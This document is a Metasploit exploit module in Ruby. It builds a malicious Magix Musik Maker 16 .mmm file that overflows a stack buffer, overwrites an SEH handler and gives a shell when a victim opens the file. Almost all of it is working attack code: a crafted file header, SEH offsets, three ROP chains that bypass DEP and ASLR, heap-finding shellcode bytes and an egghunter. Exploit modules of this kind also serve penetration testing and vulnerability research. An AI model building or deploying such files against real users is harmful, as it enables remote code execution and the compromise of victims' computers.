##
# $Id: magix_musikmaker_16_mmm.rb 12688 2011-05-22 23:41:15Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Magix Musik Maker 16 .mmm Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Magix Musik Maker 16.
    When opening a specially crafted arrangement file (.mmm) in the application, an
    unsafe strcpy() will allow you to overwrite a SEH handler.  This exploit
    bypasses DEP & ASLR, and works on XP, Vista & Windows 7.  Egghunter is used, and
    might require up to several seconds to receive a shell.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
   [
    'acidgen',      #found the vulnerability
    'corelanc0d3r'  #rop exploit + msf module
   ],
   'Version'        => '$Revision: 12688 $',
   'References'     =>
    [
     [ 'OSVDB', '72455'],
     [ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-002' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'       => 8000,  #could be more, but this is enough
     'DisableNops' =>  'True',
     'BadChars'    => "\x00\x0a\x0d",
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [
      'Windows Universal DEP & ASLR Bypass',
      {
       'OffSet' => 198,
       'Ret'    => 0x200146fa,  #add esp,40c/ret [ltkrn14n.dll]
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Apr 26 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'mmm file',  'msf.mmm']),
   ], self.class)
 end

 def junk
  return rand_text(4).unpack("L")[0].to_i
 end

 def exploit

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  badchars = ""
  eggoptions =
  {
   :checksum  => false,
   :eggtag    => "Wo0t",
   :depmethod => "copy",
   :depreg    => "edi",
   :depdest   => "ebp"
  }
  hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)

  header = "RIFF"
  header << "\x8c"
  header << "A"
  header << "\x07\x00"
  header << "SEKDSVIP"
  header << "\x10\x07\x00\x00\x9b"
  header << "[n"
  header << "\x00" * 5
  header << "\x11"
  header << "\x00" * 3
  header << "\x08"
  header << "\x00" * 3
  header << "D"
  header << "\xac\x00\x00\x11"
  header << "\x00" * 9
  header << "9@"
  header << "\x00\x00\xf0"
  header << "B"
  header << "\x00" * 4
  header << "\xbd\x04\xef\xfe\x00\x00\x01"
  header << "\x00" * 3
  header << "\x10\x00\x04\x00\x02"
  header << "\x00" * 3
  header << "\x10\x00\x04\x00\x02\x00"
  header << "?"
  header << "\x00" * 3
  header << "("
  header << "\x00" * 3
  header << "\x04\x00\x04\x00\x01"
  header << "\x00" * 15
  header << "K"
  header << "\x91"
  header << "2"
  header << "\x01\xd0\x02\x00\x00"
  header << "@"
  header << "\x02\x00\x00"
  header << "UUUUUU"
  header << "\xf5"
  header << "?"
  header << "\x10"
  header << "\x00" * 7
  header << "\xff" * 8
  header << "\x00" * 1680
  header << "LISTx"
  header << "\x95\x02\x00"
  header << "physfile"
  header << "\xf8\x08\x00\x00"
  header << "C:\\Documents and Settings\\"
  header << rand_text(8)
  header << "\\My Documents\\MAGIX_Music_Maker_16\\AudioTemp"
  header << "\x00" * 52
  header << "Fat Rocker I_ogg.HDP"
  header << "\x00" * 110
  header << "C:\\Documents and Settings\\All Users\\Application Data\\MAGIX\\Music_Maker_16\\_Demos\\Demo"
  header << "\x00" * 175
  header << "Fat Rocker I.OGG"
  header << "\x00" * 678
  header << "\xf0\xbf"
  header << "\x00" * 22
  header << "\xf0"
  header << "?"
  header << "\x00" * 6
  header << "^@"
  header << "\x00" * 6
  header << "^@"
  header << "\x00" * 264

  filename = "C:\\temp\\"
  filename << "\xb3\x10\xf8\x1f" * 14  # slide
  filename << "\x1e\x92\x01\x20"       # align

  rop_chain1 =
  [
   #API pointer
   0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN  ** [LTKRN14N.dll]
   0x1ff810b3,  # rop nop
   0x1ff810b3,  # rop nop
   0x1ff810b3,  # rop nop
   0x20047f30,  # POP ECX # RETN  ** [LTKRN14N.dll]
   0x2005012c,  # &API ptr
   0x200263e4,  # MOV EAX,DWORD PTR DS:[ECX] # RETN  ** [LTKRN14N.dll]
   0x1ffa3ab3,  # MOV DWORD PTR DS:[EBX],EAX # MOV EAX,1 # POP EBX # RETN 0C  ** [LTDIS14n.dll]
   junk,
   0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
   junk,
   junk,
   junk,
   0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN  ** [LTKRN14N.dll]
   junk,
   junk,
   0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
   0x1ffa82ef,  # POP EAX # RETN
   junk,
   junk,
   0x2E9FA63D,
   0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  ** [LTKRN14N.dll] D16059A3
   0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN  ** [LTDIS14n.dll]
   junk,
   0x20047f30,  # POP ECX # RETN  ** [LTKRN14N.dll]
   0x2001283a,  # POP ESI # POP EBP # POP EBX # ADD ESP,1F4 # RETN 10  ** [LTKRN14N.dll]
   # write
   0x1ff9cf5a,  # MOV DWORD PTR DS:[EAX],ECX # MOV EAX,1 # POP ESI # RETN 08  ** [LTDIS14n.dll]
   junk,
   0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN  ** [LTKRN14N.dll]
   junk,
   junk,
   0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN  ** [LTKRN14N.dll]
   junk,
   junk,
   0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
   0x1ffa82ef,  # POP EAX # RETN
   junk,
   junk,
   0x2E9FA5F9,
   0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  ** [LTKRN14N.dll]
   0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN  ** [LTDIS14n.dll]
   junk,
   0x2003e6cd,  # MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 # RETN 10  ** [LTKRN14N.dll]
   junk,
   junk,
   0x1ffa82ef,  # POP EAX # RETN    ** [LTDIS14n.dll]
   junk,
  ].pack("V*")

  rop_chain2 = [
   0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  ** [LTKRN14N.dll]
   0x1ff7c4e5,  # XCHG EAX,EDI # RETN  ** [LTDIS14n.dll]
   0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
   0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN    ** [LTKRN14N.dll]
   junk,
   junk,
   0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
   0x1ffa82ef,  # POP EAX # RETN
   junk,
   junk,
   0x2E9FA591,
   0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  ** [LTKRN14N.dll]  D16059A3
   0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN  ** [LTDIS14n.dll]
   junk,
   0x2003e6cd,  # MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 #
   junk,
   junk,
   0x1ffa82ef,  # POP EAX # RETN  ** [LTDIS14n.dll]
   junk,
   junk,
   junk,
   junk,
   0x2E9FB65D,
   0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  ** [LTKRN14N.dll]
   0x1ff7c4e5,  # XCHG EAX,EDI # RETN  ** [LTDIS14n.dll]
   0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
   0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN    ** [LTKRN14N.dll]
   junk,
   junk,
   0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
   0x1ffa82ef,  # POP EAX # RETN
   junk,
   junk,
   0x2E9FA539,
   0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN    **D16059A3 [LTKRN14N.dll]
   0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN  ** [LTDIS14n.dll]
   junk,
   0x2003e6cd,  # MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 # RETN 10
   junk,
   junk,
   0x2004e494,  # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
   junk,
   junk,
   junk,
   junk,
   junk,
   0x2004e494,  # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
   junk,
   0x1ffa0231,  # DEC EAX # RETN    ** [LTDIS14n.dll]
   0x1ff7c4e5,  # XCHG EAX,EDI # RETN    ** [LTDIS14n.dll]
   0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
   0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN    ** [LTKRN14N.dll]
   junk,
   junk,
   0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
   0x1ffa82ef,  # POP EAX # RETN
   junk,
   junk,
   0x2E9FA4D9,
   0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  D16059A3
   0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN    ** [LTDIS14n.dll]
   junk,
   0x2003e6cd,  # MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 # RETN 10  ** [LTKRN14N.dll]
   junk,
   junk,
   0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN  ** [LTKRN14N.dll]
   junk,
   junk,
   junk,
   junk,
   0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN  ** [LTKRN14N.dll]
   junk,
   junk,
   0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
   0x1ffa82ef,  # POP EAX # RETN
   junk,
   junk,
   0x2E9FA469,
   0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN    ** [LTKRN14N.dll]
   0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN    ** [LTDIS14n.dll]
   junk,
   0x1ff72ce1,  # XCHG EAX,ESP # POP EDI # POP ESI # POP EBP # POP EBX # MOV EAX,1 # RETN
   junk,
  ].pack("V*")

  rop_chain3 = [
   0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08
   junk,
   junk,
   junk,
   junk,
   0x1ffa82ef,  # POP EAX # RETN
   junk,
   junk,
   0x2004FF98,
   0x1ffaccf6,  # ADD EAX,100 # POP EBP # RETN
   junk,
   0x20026406,  # MOV EAX,DWORD PTR DS:[EAX] # NEG EAX # RETN  ** [LTKRN14N.dll]
   0x20026408,  # NEG EAX # RETN         ** [LTKRN14N.dll]
   0x1ff7c4e5,  # XCHG EAX,EDI # RETN    ** [LTDIS14n.dll]
   0x2004da79,  # XOR EAX,EAX # RETN     ** [LTKRN14N.dll]
   0x1ff93ae1,  # ADD EAX,ESI # POP ESI # RETN
   junk,
   0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
   0x1fffeb75,  # XCHG EAX,EBP # RETN           ** [LTKRN14N.dll]
   junk,
   junk,
   #Oh Irony !
   0x6001ac84,  # PUSHAD # RETN  ** [ijl10.dll]
  ].pack("V*")

  rop_chain1_filler = rand_text(target['OffSet'] - rop_chain1.length - 2 )

  # find a close heap
  prehunter = "\x33\xC0"           #xor eax,eax
  prehunter << "\x64\x8B\x40\x30"  #mov eax,fs[:30]
  prehunter << "\x83\xC0\x48"      #add eax,48
  prehunter << "\x83\xC0\x48"      #add eax,48
  prehunter << "\x8B\x10"          #mov edx,[eax]
  prehunter << "\x83\xc2\x4c"      #add edx,4c
  prehunter << "\x83\xc2\x4c"      #add edx,4c
  prehunter << "\x8B\x12"          #mov edx,[edx]

  nops = make_nops(100)

  filler = "\x5D\xC6\x9F\x2E"      # offset to 0x2000
  filler << "\xc2\x53\x02\x20"     # RETN
  filler << "\x04\x80\xfa\x1f"     # jump - first run : 0x1ffa8004 :  {pivot 8}  # POP EDI # POP EBP # RETN  ** [LTDIS14n.dll]
  filler << "\x12\x3a\xff\x1f"     # p/p/p/p/add esp,90/ret [ltkrn14n.dll] - second run
  filler << "\xff\xff\xff\xff"     # access violation

  buffer = header
  buffer << filename
  buffer << rop_chain1
  buffer << rop_chain1_filler
  buffer << [target.ret].pack("V")
  buffer << filler
  buffer << rop_chain2
  buffer << rop_chain3
  buffer << prehunter
  buffer << hunter
  buffer << nops
  buffer << egg

  filecontent = header + buffer

  print_status("Writing payload to file")

  file_create(filecontent)

 end

end